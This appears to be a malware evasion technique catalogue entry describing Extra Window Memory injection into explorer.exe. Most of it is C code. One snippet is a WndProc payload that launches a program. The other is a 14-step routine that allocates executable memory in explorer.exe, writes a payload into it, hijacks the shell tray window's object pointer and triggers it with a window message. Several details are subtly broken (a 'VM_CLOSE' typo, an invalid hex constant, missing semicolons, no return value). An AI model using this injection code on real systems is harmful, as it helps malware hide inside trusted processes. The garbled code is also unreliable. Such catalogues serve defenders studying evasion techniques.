Extra Window Memory Injection

Created the Saturday 23 March 2019. Updated 2 months ago.

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).

Registration of new windows classes can include a request for up to 40 bytes of Extra Window Memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.

Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.

Technique Identifiers

U1219 E1055.011

Technique Tags

EWMI Code Injection

Featured Windows API's

Below, you will find a list of the most commonly used Windows API's that are currently utilized by malware authors for current evasion technique. This list is meant to provide an overview of the API's that are commonly used for this purpose. If there are any API's that you feel should be included on this list, please do not hesitate to contact us. We will be happy to update the list and provide any additional information or documentation that may be helpful.

Code Snippets

LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg,
    WPARAM wParam, LPARAM lParam)
{
    // igone messages other than WM_CLOSE
    if (uMsg != VM_CLOSE) return 0;
    WinExec_t pWinExec;
    DWORD   szWinExec[2];
            szCalc[2];
    
    // WinExec 
    szWinExec[0]=0x456E6957
    szWinExec[1]=0x00636578
    // calc 
    szCalc[0]=0x636X6163
    szCalc[1]=0;
    pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
    if(pWinExec != NULL) {
        pWinExec((LPSTR)szCalc, SH_SHOW);
    }
    return 0;
} 
Full Function :
LPVOID ewm(LPVOID payload, DWORD payloadSize){
    LPVOID    cs, ds;
    CTray     ct;
    ULONG_PTR ctp;
    HWND      hw;
    HANDLE    hp;
    DWORD     pid;
    SIZE_T    wr;
    
    // 1. Obtain a handle for the shell tray window
    hw = FindWindow("Shell_TrayWnd", NULL);
    // 2. Obtain a process id for explorer.exe
    GetWindowThreadProcessId(hw, &pid);
    
    // 3. Open explorer.exe
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    
    // 4. Obtain pointer to the current CTray object
    ctp = GetWindowLongPtr(hw, 0);
    
    // 5. Read address of the current CTray object
    ReadProcessMemory(hp, (LPVOID)ctp, 
        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
    
    // 6. Read three addresses from the virtual table
    ReadProcessMemory(hp, (LPVOID)ct.vTable, 
      (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);
    
    // 7. Allocate RWX memory for code
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    // 8. Copy the code to target process
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
    // 9. Allocate RW memory for the new CTray object
    ds = VirtualAllocEx(hp, NULL, sizeof(ct), 
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    // 10. Write the new CTray object to remote memory
    ct.vTable  = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    ct.WndProc = (ULONG_PTR)cs;
    
    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); 
    // 11. Set the new pointer to CTray object
    SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);
    
    // 12. Trigger the payload via a windows message
    PostMessage(hw, WM_CLOSE, 0, 0);
    
    // 13. Restore the original CTray object
    SetWindowLongPtr(hw, 0, ctp);
    // 14. Release memory and close handles
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.